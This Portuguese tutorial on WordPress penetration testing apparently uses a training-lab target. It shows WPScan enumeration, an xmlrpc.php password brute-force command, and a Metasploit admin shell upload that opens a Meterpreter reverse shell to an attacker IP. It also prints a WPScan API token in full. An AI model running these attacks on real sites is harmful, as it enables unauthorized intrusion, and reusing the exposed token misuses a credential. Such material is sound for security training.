WPScan é um processo automatizado para enumeração do WordPress. Ele ajuda determinar os vários temas e plugins usados no WordPress e se estão desatualizados ou vulneráveis. Ele pode ser instalado com o gem.

gem install wpscan

Existem vários tipos de opções de enumeração que podem ser especificados, como plugins vulneráveis, todos os plugins, enumeração de usuários, e outros. O mais importante é entender todas as opções disponíveis e ser capaz de ajustar o software dependendo do objetivo.

WPScan pode verificar as informações das vulnerabilidades de fontes externas para auxiliar no scan. Nós podemos obter uma chave de API do site oficial do WPScan, que pode ser utilizado para auxiliar a criar exploits e POCs e relatórios. O plano gratuito permite a gente fazer 25 requisições por dia. Para usar o banco de dados do WPScan, devemos criar uma conta e copiar a chave API da página de usuário. Esse token pode ser especificado no WPScan usando a flag --api-token.

--api-token gsPa1Gp1t9QePaqrf6GZxspelG8GtqltFj2gfuUFLos

Enumeração

A flag --enumerate é usada para enumerar os vários componentes do WordPress, como plugins, temas e usuários. Por padrão, o WPScan enumera os plugins e temas vulneráveis, usuários, documentos, e backups. Contudo, especificar esse argumento pode restringir ou especificar o que será enumerado. Por exemplo, para enumerar todos os plugins, pode ser utilizado o --enumerate ap.

Ataque de força bruta no xmlrpc.php

Também podemos usar o wpscan para realizar um ataque de força bruta no xmlrcp, para isso, podemos seguir o seguinte exemplo:

wpscan --password-attack xmlrpc -t 20 -U admin, david -P passwords.txt --url http://blog.inlanefreight.com

Utilizando o Metasploit

Podemos também usar o Metasploit para realizar ataques e conseguir uma Reverse Shell automaticamente. Isso requer credenciais válidas e uma conta com permissões suficientes para criar arquivos no servidor. Isso pode ser feito da seguinte maneira:

msfconsole

Agora, com o console em mãos, podemos

msf5 > search wp_admin
 
 
Matching Modules
================
 
#  Name                                       Disclosure Date  Rank       Check  Description
-  ----                                       ---------------  ----       -----  -----------
0  exploit/unix/webapp/wp_admin_shell_upload  2015-02-21       excellent  Yes    WordPress Admin Shell Upload

Selecionamos o exploit

msf5 > use 0

msf5 exploit(unix/webapp/wp_admin_shell_upload) >

E configuramos o exploit

msf5 exploit(unix/webapp/wp_admin_shell_upload) > options
 
Module options (exploit/unix/webapp/wp_admin_shell_upload):
 
Name       Current Setting  Required  Description
----       ---------------  --------  -----------
PASSWORD                    yes       The WordPress password to authenticate with
Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT      80               yes       The target port (TCP)
SSL        false            no        Negotiate SSL/TLS for outgoing connections
TARGETURI  /                yes       The base path to the wordpress application
USERNAME                    yes       The WordPress username to authenticate with
VHOST                       no        HTTP server virtual host
 
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts blog.inlanefreight.com
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set password Winter2020
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set lhost 10.10.16.8
msf5 exploit(unix/webapp/wp_admin_shell_upload) > run
 
[*] Started reverse TCP handler on 10.10.16.8z4444
[*] Authenticating with WordPress using admin:Winter202@...
[+] Authenticated with WordPress
[*] Uploading payload...
[*] Executing the payload at /wp—content/plugins/YtyZGFIhax/uTvAAKrAdp.php...
[*] Sending stage (38247 bytes) to blog.inlanefreight.com
[*] Meterpreter session 1 opened
[+] Deleted uTvAAKrAdp.php
 
meterpreter > getuid
Server username: www—data (33)

Veja também